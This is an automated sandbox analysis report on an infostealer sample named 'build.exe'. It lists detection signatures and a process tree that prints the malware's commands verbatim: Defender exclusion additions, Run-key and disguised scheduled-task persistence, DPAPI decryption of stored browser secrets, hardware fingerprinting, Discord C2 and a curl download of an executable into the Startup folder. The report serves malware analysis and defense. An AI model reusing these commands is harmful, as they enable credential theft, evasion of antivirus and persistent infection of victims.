9acc476012296292864854963e305036cd464522e1f46e2cd00d8685e1b48ad9

Resubmissions

Analysis

max time kernel
62s
max time network
69s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
24-05-2024 13:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

build.exe
Size

37.6MB
MD5

d0e4bc655959df41e148f19a2c1b7816
SHA1

7cc0936f84b9a2ff2d144a6abdf95cd4cb630f5f
SHA256

9acc476012296292864854963e305036cd464522e1f46e2cd00d8685e1b48ad9
SHA512

062a1a47db1548d7975e563260ccf0d91b2637c8199ec919946276dc0595596c9f938bdc5287d25f850e59ad008e4cbd4394c781cb0f0bedfec6602fd177acd6
SSDEEP

393216:RQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mg096l+ZArYsFRlyP5:R3on1HvSzxAMN0FZArYs6Pv09F7OZB

Score

8^/10

execution persistence spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

curl.exe

flow pid process

20 4908 curl.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2320 powershell.exe
1372 powershell.exe
2024 powershell.exe
4572 powershell.exe
440 powershell.exe

flow	pid	process
20	4908	curl.exe

pid	process
2320	powershell.exe
1372	powershell.exe
2024	powershell.exe
4572	powershell.exe
440	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

build.execscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	cscript.exe

Loads dropped DLL 1 IoCs

Processes:

build.exe

pid process

2716 build.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
2716	build.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Powershell = "\"powershell.exe\" -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Roaming\\ndPhxlKrpDygLOw.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Local\\Temp\\build.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

14 discord.com
18 discord.com
67 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 api.ipify.org
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

4464 cmd.exe
440 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1088 schtasks.exe

flow	ioc
14	discord.com
18	discord.com
67	discord.com

flow	ioc
15	api.ipify.org

pid	process
4464	cmd.exe
440	cmd.exe

pid	process
1088	schtasks.exe

Detects videocard installed 1 TTPs 12 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

Processes:

WMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exe

pid	process
4744	WMIC.exe
4696	WMIC.exe
4036	WMIC.exe
3912	WMIC.exe
2920	WMIC.exe
5108	WMIC.exe
4908	WMIC.exe
2772	WMIC.exe
1120	WMIC.exe
440	WMIC.exe
4160	WMIC.exe
2292	WMIC.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

4104 tasklist.exe
2464 tasklist.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

556 reg.exe
4300 reg.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2200 NOTEPAD.EXE

pid	process
4104	tasklist.exe
2464	tasklist.exe

pid	process
556	reg.exe
4300	reg.exe

pid	process
2200	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 57 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exebuild.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4572	powershell.exe
4572	powershell.exe
4036	powershell.exe
4036	powershell.exe
4220	powershell.exe
4220	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1956	powershell.exe
1956	powershell.exe
1956	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
4816	powershell.exe
4816	powershell.exe
4816	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe
440	powershell.exe
440	powershell.exe
440	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
4200	powershell.exe
4200	powershell.exe
4200	powershell.exe
3304	powershell.exe
3304	powershell.exe
3304	powershell.exe
2716	build.exe
2716	build.exe
2716	build.exe
228	powershell.exe
228	powershell.exe
228	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
1220	powershell.exe
1220	powershell.exe
1220	powershell.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetasklist.exetasklist.exepowershell.exepowershell.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	2464	tasklist.exe
Token: SeDebugPrivilege	4104	tasklist.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2076	WMIC.exe
Token: SeSecurityPrivilege	2076	WMIC.exe
Token: SeTakeOwnershipPrivilege	2076	WMIC.exe
Token: SeLoadDriverPrivilege	2076	WMIC.exe
Token: SeSystemProfilePrivilege	2076	WMIC.exe
Token: SeSystemtimePrivilege	2076	WMIC.exe
Token: SeProfSingleProcessPrivilege	2076	WMIC.exe
Token: SeIncBasePriorityPrivilege	2076	WMIC.exe
Token: SeCreatePagefilePrivilege	2076	WMIC.exe
Token: SeBackupPrivilege	2076	WMIC.exe
Token: SeRestorePrivilege	2076	WMIC.exe
Token: SeShutdownPrivilege	2076	WMIC.exe
Token: SeDebugPrivilege	2076	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2076	WMIC.exe
Token: SeRemoteShutdownPrivilege	2076	WMIC.exe
Token: SeUndockPrivilege	2076	WMIC.exe
Token: SeManageVolumePrivilege	2076	WMIC.exe
Token: 33	2076	WMIC.exe
Token: 34	2076	WMIC.exe
Token: 35	2076	WMIC.exe
Token: 36	2076	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1084	WMIC.exe
Token: SeSecurityPrivilege	1084	WMIC.exe
Token: SeTakeOwnershipPrivilege	1084	WMIC.exe
Token: SeLoadDriverPrivilege	1084	WMIC.exe
Token: SeSystemProfilePrivilege	1084	WMIC.exe
Token: SeSystemtimePrivilege	1084	WMIC.exe
Token: SeProfSingleProcessPrivilege	1084	WMIC.exe
Token: SeIncBasePriorityPrivilege	1084	WMIC.exe
Token: SeCreatePagefilePrivilege	1084	WMIC.exe
Token: SeBackupPrivilege	1084	WMIC.exe
Token: SeRestorePrivilege	1084	WMIC.exe
Token: SeShutdownPrivilege	1084	WMIC.exe
Token: SeDebugPrivilege	1084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1084	WMIC.exe
Token: SeRemoteShutdownPrivilege	1084	WMIC.exe
Token: SeUndockPrivilege	1084	WMIC.exe
Token: SeManageVolumePrivilege	1084	WMIC.exe
Token: 33	1084	WMIC.exe
Token: 34	1084	WMIC.exe
Token: 35	1084	WMIC.exe
Token: 36	1084	WMIC.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	1084	WMIC.exe
Token: SeSecurityPrivilege	1084	WMIC.exe
Token: SeTakeOwnershipPrivilege	1084	WMIC.exe
Token: SeLoadDriverPrivilege	1084	WMIC.exe
Token: SeSystemProfilePrivilege	1084	WMIC.exe
Token: SeSystemtimePrivilege	1084	WMIC.exe
Token: SeProfSingleProcessPrivilege	1084	WMIC.exe
Token: SeIncBasePriorityPrivilege	1084	WMIC.exe
Token: SeCreatePagefilePrivilege	1084	WMIC.exe
Token: SeBackupPrivilege	1084	WMIC.exe
Token: SeRestorePrivilege	1084	WMIC.exe
Token: SeShutdownPrivilege	1084	WMIC.exe
Token: SeDebugPrivilege	1084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1084	WMIC.exe
Token: SeRemoteShutdownPrivilege	1084	WMIC.exe
Token: SeUndockPrivilege	1084	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

build.execmd.exepowershell.execsc.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2716 wrote to memory of 4692	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4692	2716	build.exe	cmd.exe
PID 4692 wrote to memory of 1780	4692	cmd.exe	cmd.exe
PID 4692 wrote to memory of 1780	4692	cmd.exe	cmd.exe
PID 4692 wrote to memory of 4572	4692	cmd.exe	powershell.exe
PID 4692 wrote to memory of 4572	4692	cmd.exe	powershell.exe
PID 4572 wrote to memory of 4708	4572	powershell.exe	csc.exe
PID 4572 wrote to memory of 4708	4572	powershell.exe	csc.exe
PID 4708 wrote to memory of 1396	4708	csc.exe	cvtres.exe
PID 4708 wrote to memory of 1396	4708	csc.exe	cvtres.exe
PID 2716 wrote to memory of 4716	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4716	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4696	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4696	2716	build.exe	cmd.exe
PID 4716 wrote to memory of 2028	4716	cmd.exe	curl.exe
PID 4716 wrote to memory of 2028	4716	cmd.exe	curl.exe
PID 4696 wrote to memory of 2464	4696	cmd.exe	tasklist.exe
PID 4696 wrote to memory of 2464	4696	cmd.exe	tasklist.exe
PID 2716 wrote to memory of 3732	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 3732	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4464	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4464	2716	build.exe	cmd.exe
PID 3732 wrote to memory of 4104	3732	cmd.exe	tasklist.exe
PID 3732 wrote to memory of 4104	3732	cmd.exe	tasklist.exe
PID 4464 wrote to memory of 4036	4464	cmd.exe	powershell.exe
PID 4464 wrote to memory of 4036	4464	cmd.exe	powershell.exe
PID 2716 wrote to memory of 440	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 440	2716	build.exe	cmd.exe
PID 440 wrote to memory of 4220	440	cmd.exe	powershell.exe
PID 440 wrote to memory of 4220	440	cmd.exe	powershell.exe
PID 2716 wrote to memory of 4420	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4420	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 3180	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 3180	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 1508	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 1508	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 944	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 944	2716	build.exe	cmd.exe
PID 4420 wrote to memory of 2076	4420	cmd.exe	WMIC.exe
PID 4420 wrote to memory of 2076	4420	cmd.exe	WMIC.exe
PID 1508 wrote to memory of 1088	1508	cmd.exe	schtasks.exe
PID 1508 wrote to memory of 1088	1508	cmd.exe	schtasks.exe
PID 2716 wrote to memory of 2736	2716	build.exe	WMIC.exe
PID 2716 wrote to memory of 2736	2716	build.exe	WMIC.exe
PID 3180 wrote to memory of 3924	3180	cmd.exe	reg.exe
PID 3180 wrote to memory of 3924	3180	cmd.exe	reg.exe
PID 2736 wrote to memory of 1084	2736	cmd.exe	WMIC.exe
PID 2736 wrote to memory of 1084	2736	cmd.exe	WMIC.exe
PID 944 wrote to memory of 2024	944	cmd.exe	powershell.exe
PID 944 wrote to memory of 2024	944	cmd.exe	powershell.exe
PID 2716 wrote to memory of 4352	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 4352	2716	build.exe	cmd.exe
PID 4352 wrote to memory of 4704	4352	cmd.exe	cscript.exe
PID 4352 wrote to memory of 4704	4352	cmd.exe	cscript.exe
PID 2716 wrote to memory of 2060	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 2060	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 3360	2716	build.exe	cmd.exe
PID 2716 wrote to memory of 3360	2716	build.exe	cmd.exe
PID 2060 wrote to memory of 5052	2060	cmd.exe	WMIC.exe
PID 2060 wrote to memory of 5052	2060	cmd.exe	WMIC.exe
PID 3360 wrote to memory of 3300	3360	cmd.exe	WMIC.exe
PID 3360 wrote to memory of 3300	3360	cmd.exe	WMIC.exe
PID 3360 wrote to memory of 2896	3360	cmd.exe	find.exe
PID 3360 wrote to memory of 2896	3360	cmd.exe	find.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2716

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "type .\temp.ps1 | powershell.exe -noprofile -"
2⤵
- Suspicious use of WriteProcessMemory
PID:4692

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" type .\temp.ps1 "
3⤵
PID:1780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sxnbdr35\sxnbdr35.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:4708

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4546.tmp" "c:\Users\Admin\AppData\Local\Temp\sxnbdr35\CSC10DD7C0F410A4DCB85FDDFA52A89D129.TMP"
5⤵
PID:1396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
- Suspicious use of WriteProcessMemory
PID:4716

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:2028

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "tasklist"
2⤵
- Suspicious use of WriteProcessMemory
PID:4696

C:\Windows\system32\tasklist.exe
tasklist
3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2464

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "tasklist"
2⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\system32\tasklist.exe
tasklist
3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,79,140,170,28,159,76,186,66,142,38,182,119,163,26,99,64,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,185,159,240,208,13,156,200,108,45,135,44,176,129,143,6,115,14,150,227,249,148,119,234,116,224,96,29,33,212,104,170,96,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,95,10,239,172,143,134,225,162,41,152,60,176,145,157,35,118,85,217,123,128,194,204,191,246,204,30,108,18,131,213,178,48,0,0,0,127,128,168,71,40,89,247,46,1,166,118,221,191,145,234,30,1,173,118,77,148,5,64,204,5,235,188,34,174,228,186,249,225,87,140,219,90,44,25,69,248,236,74,84,159,90,146,253,64,0,0,0,255,43,126,128,18,187,23,87,25,160,186,243,225,123,94,103,184,180,189,79,200,113,208,201,114,58,128,110,14,174,4,115,249,90,142,62,150,176,21,218,23,28,117,251,7,185,115,7,217,115,159,146,236,149,160,78,38,8,75,41,190,8,222,156), $null, 'CurrentUser')"
2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,79,140,170,28,159,76,186,66,142,38,182,119,163,26,99,64,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,185,159,240,208,13,156,200,108,45,135,44,176,129,143,6,115,14,150,227,249,148,119,234,116,224,96,29,33,212,104,170,96,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,95,10,239,172,143,134,225,162,41,152,60,176,145,157,35,118,85,217,123,128,194,204,191,246,204,30,108,18,131,213,178,48,0,0,0,127,128,168,71,40,89,247,46,1,166,118,221,191,145,234,30,1,173,118,77,148,5,64,204,5,235,188,34,174,228,186,249,225,87,140,219,90,44,25,69,248,236,74,84,159,90,146,253,64,0,0,0,255,43,126,128,18,187,23,87,25,160,186,243,225,123,94,103,184,180,189,79,200,113,208,201,114,58,128,110,14,174,4,115,249,90,142,62,150,176,21,218,23,28,117,251,7,185,115,7,217,115,159,146,236,149,160,78,38,8,75,41,190,8,222,156), $null, 'CurrentUser')
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,79,140,170,28,159,76,186,66,142,38,182,119,163,26,99,64,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,72,74,85,44,248,76,68,49,103,162,228,250,242,83,82,51,252,24,92,38,111,104,163,243,235,206,127,88,242,189,109,186,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,87,82,2,141,244,106,63,178,130,111,104,228,69,207,202,65,179,128,156,25,207,211,233,132,80,111,2,141,196,200,106,86,48,0,0,0,98,131,237,178,109,22,198,30,209,12,59,184,185,159,92,60,59,236,242,130,114,252,125,204,251,45,82,234,111,191,27,49,213,187,112,111,112,226,9,165,227,240,218,144,37,237,226,214,64,0,0,0,219,222,91,108,212,127,234,42,150,35,92,108,29,46,211,39,201,117,243,92,206,11,63,11,145,79,73,227,19,108,24,126,187,180,172,30,116,33,82,173,133,226,135,54,156,107,222,182,239,239,19,106,28,141,48,24,179,105,191,18,212,93,1,36), $null, 'CurrentUser')"
2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,79,140,170,28,159,76,186,66,142,38,182,119,163,26,99,64,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,72,74,85,44,248,76,68,49,103,162,228,250,242,83,82,51,252,24,92,38,111,104,163,243,235,206,127,88,242,189,109,186,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,87,82,2,141,244,106,63,178,130,111,104,228,69,207,202,65,179,128,156,25,207,211,233,132,80,111,2,141,196,200,106,86,48,0,0,0,98,131,237,178,109,22,198,30,209,12,59,184,185,159,92,60,59,236,242,130,114,252,125,204,251,45,82,234,111,191,27,49,213,187,112,111,112,226,9,165,227,240,218,144,37,237,226,214,64,0,0,0,219,222,91,108,212,127,234,42,150,35,92,108,29,46,211,39,201,117,243,92,206,11,63,11,145,79,73,227,19,108,24,126,187,180,172,30,116,33,82,173,133,226,135,54,156,107,222,182,239,239,19,106,28,141,48,24,179,105,191,18,212,93,1,36), $null, 'CurrentUser')
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
2⤵
- Suspicious use of WriteProcessMemory
PID:4420

C:\Windows\System32\Wbem\WMIC.exe
wmic diskdrive get serialnumber
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2076

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
2⤵
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\system32\reg.exe
reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
3⤵
PID:3924

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
2⤵
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\system32\schtasks.exe
schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
3⤵
- Creates scheduled task(s)
PID:1088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
2⤵
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
3⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\in0seaff\in0seaff.cmdline"
4⤵
PID:4452

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C7A.tmp" "c:\Users\Admin\AppData\Local\Temp\in0seaff\CSCA6EFBCCE6CD0488594C38F78873CACB1.TMP"
5⤵
PID:1436

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs""
2⤵
- Suspicious use of WriteProcessMemory
PID:4352

C:\Windows\system32\cscript.exe
cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs"
3⤵
- Checks computer location settings
PID:4704

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat" "
4⤵
PID:3276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1372

C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\build.exe" /f
5⤵
- Adds Run key to start application
- Modifies registry key
PID:4300

C:\Windows\system32\reg.exe
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam"
5⤵
- Modifies registry key
PID:556

C:\Windows\system32\curl.exe
curl -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam_Service.exe" YOUR-BINDED-EXE-LINK-HERE
5⤵
PID:4800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
2⤵
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\System32\Wbem\WMIC.exe
wmic baseboard get serialnumber
3⤵
PID:5052

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:3300

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:2896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
2⤵
PID:1980

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_computersystemproduct get uuid
3⤵
PID:4576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:3744

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:2920

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
2⤵
PID:4168

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Description,PNPDeviceID
3⤵
PID:4360

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4764

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
2⤵
PID:4092

C:\Windows\System32\Wbem\WMIC.exe
wmic memorychip get serialnumber
3⤵
PID:564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:3524

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
- Blocklisted process makes network request
PID:4908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
2⤵
PID:1568

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
3⤵
PID:4268

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
2⤵
PID:4604

C:\Windows\System32\Wbem\WMIC.exe
wmic cpu get processorid
3⤵
